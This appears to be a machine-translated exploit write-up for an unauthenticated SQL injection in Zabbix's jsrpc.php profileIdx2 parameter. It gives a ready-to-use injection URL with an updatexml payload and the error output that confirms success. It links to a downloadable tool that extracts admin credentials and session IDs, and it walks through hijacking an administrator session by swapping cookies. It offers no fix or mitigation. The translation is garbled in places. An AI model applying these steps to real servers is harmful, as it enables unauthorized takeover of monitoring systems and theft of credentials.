Zabbix explosion high-risk SQL Injection vulnerability, system permissions (profileidx 2 parameters)

Vulnerability overview

Zabbix is an open source enterprise-class performance monitoring solution. Recently, Zabbix's jsrpc profileIdx2 parameter has the Insert method SQL injection vulnerability, the attacker does not need to authorize the login to log on the Zabbix management system, but also can easily obtain the Zabbix server's operating system permission directly through the script and so on function.

Degree of influence

Attack cost: Low hazard: High whether landing: no need to affect the scope: 2.2.x, 3.0.0-3.0.3. (Other versions untested)

　　

Vulnerability Testing

Add this string of URLs after the Zabbix address

Jsrpc.php?type=9&method=screen. get&timestamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph& Profileidx 2=1+or+updatexml (1, MD5 (0x11),1) +or+1=1)%  &updateprofile=true&period=3600&stime=20160817050632& Resourcetype=

A profileidx 2 parameter injection vulnerability exists if the following is displayed

<divclass="Flickerfreescreen"Id="flickerfreescreen_1"data-timestamp="1471403798083"style="position:relative;"></div><tableclass="Msgerr"cellpadding="0"cellspacing="0"Id="msg_messages"style="width:100%;"><tr><tdclass="msg"colspan="1"><ulclass="Messages"><liclass="Error">reset () expects parameter1To is array,NULLgiven [jsrpc.php:208&rarr; Cscreenhistory-&gt;Get() &rarr; Reset ()inch/usr/share/zabbix/include/classes/screens/cscreenhistory.php:106]</li><liclass="Error">errorinchquery [INSERT into profiles (profileID, UserID, idx, Value_int, type, idx2) VALUES ( the,2,'Web.item.graph.period','3600',2,1or Updatexml (1, MD5 (0x11),1) or1=1#)] [XPATH syntax error:'ed733b8d10be225eceba344d533586']</li><liclass="Error">errorinchquery [INSERT into profiles (profileID, UserID, idx, value_str, type, idx2) VALUES (231,2,'Web.item.graph.stime','20160817050632',3,1or Updatexml (1, MD5 (0x11),1) or1=1#)] [XPATH syntax error:'ed733b8d10be225eceba344d533586']</li><liclass="Error">errorinchquery [INSERT into profiles (profileID, UserID, idx, Value_int, type, idx2) VALUES (232,2,'Web.item.graph.isnow','0',2,1or Updatexml (1, MD5 (0x11),1) or1=1#)] [XPATH syntax error:'ed733b8d10be225eceba344d533586']</li></ul></td></tr></table>

Vulnerability detection tools and use

Download Link: http://pan.baidu.com/s/1skLY1f3 Password: kl8e

Enter the address of the Zabbix website in the address bar, if there is a vulnerability will pop-up window prompt and output account password and SessionID

Exploiting the content of vulnerability detection Tool

1. We have access to the site administrator's session_id, we can modify the browser session_id parameter content to enter the Administration page

2. Decrypt the password and enter the account password into

Here are just a few

First we have obtained the session_id of the webmaster:

ae74ae71d2ef6752c7ecc8beed4c0858

Then we can use Firebug to modify the cookie store content of the website.

Modify this content to the session_id we acquired

Then confirm and refresh the page so we can go to the admin page.

End ~~~~~

Zabbix explosion high-risk SQL Injection vulnerability, system permissions (profileidx 2 parameters)